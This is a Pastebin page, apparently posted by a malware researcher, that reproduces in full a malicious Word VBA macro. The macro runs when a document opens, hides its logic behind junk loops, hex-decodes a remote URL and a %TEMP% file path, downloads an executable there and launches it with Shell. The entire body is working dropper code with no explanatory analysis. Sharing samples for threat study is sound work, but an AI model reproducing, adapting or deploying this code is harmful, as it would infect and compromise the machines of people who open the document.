Advertisement
dynamoo

Malicious Word macro

Jan 15th, 2015
498
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dsfsdf As LongPtr, _
  12.     ByVal sdfsdfgds As String, _
  13.     ByVal yurtysdf As String, _
  14.     ByVal iufdsd As Long, _
  15.     ByVal vbxdfsdf As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dsfsdf As Long, _
  19.     ByVal sdfsdfgds As String, _
  20.     ByVal yurtysdf As String, _
  21.     ByVal iufdsd As Long, _
  22.     ByVal vbxdfsdf As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub uiwefds()
  27. Dim JzOjvKld As Integer
  28. For JzOjvKld = 0 To 1
  29. Dim pBBdhbMj As Integer
  30. For pBBdhbMj = 0 To 9
  31. Dim MQeaXHnQ As Integer
  32. For MQeaXHnQ = 0 To 7
  33. DoEvents
  34. Next MQeaXHnQ
  35. DoEvents
  36. Next pBBdhbMj
  37. Dim PLCvpaGo As Integer
  38. For PLCvpaGo = 0 To 5
  39. DoEvents
  40. Next PLCvpaGo
  41. DoEvents
  42. Next JzOjvKld
  43. Dim ByLPRPoF As Integer
  44. For ByLPRPoF = 0 To 8
  45. Dim KzYSAJew As Integer
  46. For KzYSAJew = 0 To 6
  47. DoEvents
  48. Next KzYSAJew
  49. DoEvents
  50. Next ByLPRPoF
  51. Dim UonpGakM As Integer
  52. For UonpGakM = 0 To 5
  53. DoEvents
  54. Next UonpGakM
  55. UGivgHgfdg
  56. End Sub
  57. Sub AutoOpen()
  58. Dim HipjVMDI As Integer
  59. For HipjVMDI = 0 To 6
  60. Dim FldilXKU As Integer
  61. For FldilXKU = 0 To 3
  62. Dim neEzgwIm As Integer
  63. For neEzgwIm = 0 To 7
  64. DoEvents
  65. Next neEzgwIm
  66. DoEvents
  67. Next FldilXKU
  68. Dim jpxnEYVL As Integer
  69. For jpxnEYVL = 0 To 5
  70. DoEvents
  71. Next jpxnEYVL
  72. DoEvents
  73. Next HipjVMDI
  74. Dim KNMUJHlQ As Integer
  75. For KNMUJHlQ = 0 To 3
  76. Dim IiYHosKX As Integer
  77. For IiYHosKX = 0 To 1
  78. DoEvents
  79. Next IiYHosKX
  80. DoEvents
  81. Next KNMUJHlQ
  82. Dim qMjVLPPI As Integer
  83. For qMjVLPPI = 0 To 6
  84. DoEvents
  85. Next qMjVLPPI
  86.     uiwefds
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim zFxkURlO As Integer
  90. For zFxkURlO = 0 To 3
  91. Dim WUxmpDbh As Integer
  92. For WUxmpDbh = 0 To 7
  93. Dim NiIUHMrP As Integer
  94. For NiIUHMrP = 0 To 8
  95. DoEvents
  96. Next NiIUHMrP
  97. DoEvents
  98. Next WUxmpDbh
  99. Dim AVCbuhOj As Integer
  100. For AVCbuhOj = 0 To 4
  101. DoEvents
  102. Next AVCbuhOj
  103. DoEvents
  104. Next zFxkURlO
  105. Dim cliZMskz As Integer
  106. For cliZMskz = 0 To 3
  107. Dim TnVmmvfd As Integer
  108. For TnVmmvfd = 0 To 4
  109. DoEvents
  110. Next TnVmmvfd
  111. DoEvents
  112. Next cliZMskz
  113. Dim LJnsAqIf As Integer
  114. For LJnsAqIf = 0 To 7
  115. DoEvents
  116. Next LJnsAqIf
  117.     uiwefds
  118. End Sub
  119. Sub UGivgHgfdg()
  120. Dim aMXkuYDt As Integer
  121. For aMXkuYDt = 0 To 6
  122. Dim VhVjCVvI As Integer
  123. For VhVjCVvI = 0 To 4
  124. Dim ylrNCMWQ As Integer
  125. For ylrNCMWQ = 0 To 3
  126. DoEvents
  127. Next ylrNCMWQ
  128. DoEvents
  129. Next VhVjCVvI
  130. Dim lHpAOReT As Integer
  131. For lHpAOReT = 0 To 6
  132. DoEvents
  133. Next lHpAOReT
  134. DoEvents
  135. Next aMXkuYDt
  136. Dim DZwbJyAN As Integer
  137. For DZwbJyAN = 0 To 2
  138. Dim WEDuKupQ As Integer
  139. For WEDuKupQ = 0 To 1
  140. DoEvents
  141. Next WEDuKupQ
  142. DoEvents
  143. Next DZwbJyAN
  144. Dim pMhVBLRS As Integer
  145. For pMhVBLRS = 0 To 6
  146.  
  147. Next pMhVBLRS
  148. ghKJfg = gHBJdsg("6874")
  149. jnkdsf = gHBJdsg("74703A2F2F")
  150. hdsjkf = gHBJdsg("63617373696F70652E637A2F6A732F62696E2E657865")
  151.  
  152.     ewrwefdsf = ghKJfg + jnkdsf + hdsjkf
  153.  
  154. Dim IzqfqBCT As Integer
  155. For IzqfqBCT = 0 To 2
  156. Dim qJRLoONV As Integer
  157. For qJRLoONV = 0 To 7
  158. Dim tbUUVMUg As Integer
  159. For tbUUVMUg = 0 To 6
  160. DoEvents
  161. Next tbUUVMUg
  162. DoEvents
  163. Next qJRLoONV
  164. Dim tnRLuKkx As Integer
  165. For tnRLuKkx = 0 To 6
  166. DoEvents
  167. Next tnRLuKkx
  168. DoEvents
  169. Next IzqfqBCT
  170. Dim NrzarJeg As Integer
  171. For NrzarJeg = 0 To 5
  172. Dim yxXAyyyv As Integer
  173. For yxXAyyyv = 0 To 9
  174. DoEvents
  175. Next yxXAyyyv
  176. DoEvents
  177. Next NrzarJeg
  178. Dim JzPxPklW As Integer
  179. For JzPxPklW = 0 To 6
  180. DoEvents
  181. Next JzPxPklW
  182.     ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
  183. Dim ETUbKtRJ As Integer
  184. For ETUbKtRJ = 0 To 4
  185. Dim IiOcPqqr As Integer
  186. For IiOcPqqr = 0 To 8
  187. Dim CwnoVirg As Integer
  188. For CwnoVirg = 0 To 4
  189. DoEvents
  190. Next CwnoVirg
  191. DoEvents
  192. Next IiOcPqqr
  193. Dim ONhNGOcj As Integer
  194. For ONhNGOcj = 0 To 2
  195. DoEvents
  196. Next ONhNGOcj
  197. DoEvents
  198. Next ETUbKtRJ
  199. Dim pBVhaYHP As Integer
  200. For pBVhaYHP = 0 To 4
  201. Dim wYauEKwW As Integer
  202. For wYauEKwW = 0 To 6
  203. DoEvents
  204. Next wYauEKwW
  205. DoEvents
  206. Next pBVhaYHP
  207. Dim LJYSRlqY As Integer
  208. For LJYSRlqY = 0 To 1
  209. DoEvents
  210. Next LJYSRlqY
  211.     wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
  212.    Dim gffUYUdfg
  213. Dim YgpqTtOy As Integer
  214. For YgpqTtOy = 0 To 2
  215. Dim QSZWppCH As Integer
  216. For QSZWppCH = 0 To 2
  217. Dim ZJYDvLqr As Integer
  218. For ZJYDvLqr = 0 To 9
  219. DoEvents
  220. Next ZJYDvLqr
  221. DoEvents
  222. Next QSZWppCH
  223. Dim NaskblaF As Integer
  224. For NaskblaF = 0 To 5
  225. DoEvents
  226. Next NaskblaF
  227. DoEvents
  228. Next YgpqTtOy
  229. Dim dEJDnTZw As Integer
  230. For dEJDnTZw = 0 To 7
  231. Dim sGQchASM As Integer
  232. For sGQchASM = 0 To 4
  233. DoEvents
  234. Next sGQchASM
  235. DoEvents
  236. Next dEJDnTZw
  237. Dim wRiSDhtL As Integer
  238. For wRiSDhtL = 0 To 6
  239. DoEvents
  240. Next wRiSDhtL
  241.     gffUYUdfg = Shell(ewwfgfdg, 1)
  242.  
  243. End Sub
  244. Public Function gHBJdsg(ByVal hextext As String) As String
  245.  
  246. Dim wWbztFwG As Integer
  247.  
  248. Dim GUPqhtPg As Integer
  249. GUPqhtPg = 5
  250. Do While GUPqhtPg < 48
  251. DoEvents: GUPqhtPg = GUPqhtPg + 1
  252. Loop
  253.  
  254. wWbztFwG = 2
  255. Do While wWbztFwG < 12
  256.  
  257. Dim uRXhQDWq As Integer
  258. uRXhQDWq = 8
  259. Do While uRXhQDWq < 78
  260. DoEvents: uRXhQDWq = uRXhQDWq + 1
  261. Loop
  262.  
  263. DoEvents: wWbztFwG = wWbztFwG + 1
  264.  
  265. Dim EVQinjcM As Integer
  266. EVQinjcM = 3
  267. Do While EVQinjcM < 84
  268. DoEvents: EVQinjcM = EVQinjcM + 1
  269. Loop
  270.  
  271. Loop
  272.  
  273.  
  274. Dim yPwhqFgT As Integer
  275. yPwhqFgT = 8
  276. Do While yPwhqFgT < 42
  277. DoEvents: yPwhqFgT = yPwhqFgT + 1
  278. Loop
  279.  
  280.    
  281. For y = 1 To Len(hextext)
  282.  
  283. Dim DKQuAxYQ As Integer
  284.  
  285. Dim ApQiblsP As Integer
  286. ApQiblsP = 3
  287. Do While ApQiblsP < 76
  288. DoEvents: ApQiblsP = ApQiblsP + 1
  289. Loop
  290.  
  291. DKQuAxYQ = 5
  292. Do While DKQuAxYQ < 41
  293.  
  294. Dim rXwhqJex As Integer
  295. rXwhqJex = 8
  296. Do While rXwhqJex < 34
  297. DoEvents: rXwhqJex = rXwhqJex + 1
  298. Loop
  299.  
  300. DoEvents: DKQuAxYQ = DKQuAxYQ + 1
  301.  
  302. Dim GPlvEueK As Integer
  303. GPlvEueK = 3
  304. Do While GPlvEueK < 49
  305. DoEvents: GPlvEueK = GPlvEueK + 1
  306. Loop
  307.  
  308. Loop
  309.  
  310.  
  311. Dim jxtTfTWR As Integer
  312. jxtTfTWR = 7
  313. Do While jxtTfTWR < 96
  314. DoEvents: jxtTfTWR = jxtTfTWR + 1
  315. Loop
  316.  
  317.     num = Mid(hextext, y, 2)
  318.  
  319. Dim qsnBhNom As Integer
  320.  
  321. Dim RVFXklSQ As Integer
  322. RVFXklSQ = 3
  323. Do While RVFXklSQ < 59
  324. DoEvents: RVFXklSQ = RVFXklSQ + 1
  325. Loop
  326.  
  327. qsnBhNom = 9
  328. Do While qsnBhNom < 46
  329.  
  330. Dim mtIlYZzo As Integer
  331. mtIlYZzo = 1
  332. Do While mtIlYZzo < 65
  333. DoEvents: mtIlYZzo = mtIlYZzo + 1
  334. Loop
  335.  
  336. DoEvents: qsnBhNom = qsnBhNom + 1
  337.  
  338. Dim DKDBypFV As Integer
  339. DKDBypFV = 5
  340. Do While DKDBypFV < 41
  341. DoEvents: DKDBypFV = DKDBypFV + 1
  342. Loop
  343.  
  344. Loop
  345.  
  346.  
  347. Dim EBUcmmrw As Integer
  348. EBUcmmrw = 3
  349. Do While EBUcmmrw < 22
  350. DoEvents: EBUcmmrw = EBUcmmrw + 1
  351. Loop
  352.  
  353.     Value = Value & Chr(CDbl("&h" & num))
  354.  
  355. Dim lqyAAJfk As Integer
  356.  
  357. Dim HnhDciWZ As Integer
  358. HnhDciWZ = 5
  359. Do While HnhDciWZ < 19
  360. DoEvents: HnhDciWZ = HnhDciWZ + 1
  361. Loop
  362.  
  363. lqyAAJfk = 1
  364. Do While lqyAAJfk < 94
  365.  
  366. Dim JwOgaoKJ As Integer
  367. JwOgaoKJ = 5
  368. Do While JwOgaoKJ < 18
  369. DoEvents: JwOgaoKJ = JwOgaoKJ + 1
  370. Loop
  371.  
  372. DoEvents: lqyAAJfk = lqyAAJfk + 1
  373.  
  374. Dim AqUclcKd As Integer
  375. AqUclcKd = 9
  376. Do While AqUclcKd < 24
  377. DoEvents: AqUclcKd = AqUclcKd + 1
  378. Loop
  379.  
  380. Loop
  381.  
  382.  
  383. Dim kkAWIUuP As Integer
  384. kkAWIUuP = 8
  385. Do While kkAWIUuP < 96
  386. DoEvents: kkAWIUuP = kkAWIUuP + 1
  387. Loop
  388.  
  389.     y = y + 1
  390. Next y
  391.  
  392.  
  393. Dim ljYAaKUD As Integer
  394.  
  395. Dim HEaLjCxl As Integer
  396. HEaLjCxl = 5
  397. Do While HEaLjCxl < 19
  398. DoEvents: HEaLjCxl = HEaLjCxl + 1
  399. Loop
  400.  
  401. ljYAaKUD = 1
  402. Do While ljYAaKUD < 67
  403.  
  404. Dim YPWkTuQH As Integer
  405. YPWkTuQH = 3
  406. Do While YPWkTuQH < 82
  407. DoEvents: YPWkTuQH = YPWkTuQH + 1
  408. Loop
  409.  
  410. DoEvents: ljYAaKUD = ljYAaKUD + 1
  411.  
  412. Dim fLpdInWj As Integer
  413. fLpdInWj = 9
  414. Do While fLpdInWj < 81
  415. DoEvents: fLpdInWj = fLpdInWj + 1
  416. Loop
  417.  
  418. Loop
  419.  
  420.  
  421. Dim kwdanxIn As Integer
  422. kwdanxIn = 1
  423. Do While kwdanxIn < 96
  424. DoEvents: kwdanxIn = kwdanxIn + 1
  425. Loop
  426.  
  427. gHBJdsg = Value
  428. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement